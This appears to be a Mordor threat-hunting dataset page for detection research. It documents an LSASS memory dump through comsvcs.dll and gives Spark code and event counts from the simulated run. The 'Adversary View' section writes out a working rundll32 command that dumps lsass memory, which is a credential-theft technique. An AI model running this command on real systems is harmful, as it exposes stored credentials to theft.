Lsass Memory Dump via Comsvcs.dll¶
Metadata¶
Author |
Roberto Rodriguez @Cyb3rWard0g |
Creation Date |
2020/10/18 |
Modification Date |
2020/10/18 |
Tactics |
[‘TA0006’] |
Techniques |
[‘T1003.001’] |
Tags |
[‘art.2536dee2-12fb-459a-8c37-971844fa73be’] |
Dataset Description¶
This dataset represents adversaries leveraging the MiniDump export function from comsvcs.dll via rundll32 to perform a memory dump from lsass.
Datasets Downloads¶
Dataset Type |
Link |
---|---|
Host |
Simulation Plan¶
Environment |
Tool Type |
Module |
---|---|---|
Lab VM |
Manual |
Adversary View¶
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
Explore Mordor Dataset¶
Initialize Analytics Engine¶
from openhunt.mordorutils import *
spark = get_spark()
Download & Process Mordor File¶
mordor_file = "https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/windows/credential_access/host/psh_lsass_memory_dump_comsvcs.zip"
registerMordorSQLTable(spark, mordor_file, "mordorTable")
[+] Processing a Spark DataFrame..
[+] DataFrame Returned !
[+] Temporary SparkSQL View: mordorTable
Get to know your data¶
df = spark.sql(
'''
SELECT Hostname,Channel,EventID, Count(*) as count
FROM mordorTable
GROUP BY Hostname,Channel,EventID
ORDER BY count DESC
'''
)
df.show(truncate=False)
+------------+------------------------------------+-------+-----+
|Hostname |Channel |EventID|count|
+------------+------------------------------------+-------+-----+
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|10 |68 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|7 |30 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|12 |29 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|13 |15 |
|WORKSTATION5|Security |4658 |10 |
|WORKSTATION5|Security |4663 |5 |
|WORKSTATION5|Security |4690 |5 |
|WORKSTATION5|Security |4656 |5 |
|WORKSTATION5|Security |4689 |3 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|5 |3 |
|WORKSTATION5|Security |5158 |3 |
|WORKSTATION5|Security |5156 |3 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|11 |2 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|1 |1 |
|WORKSTATION5|Security |4688 |1 |
|WORKSTATION5|Security |1102 |1 |
+------------+------------------------------------+-------+-----+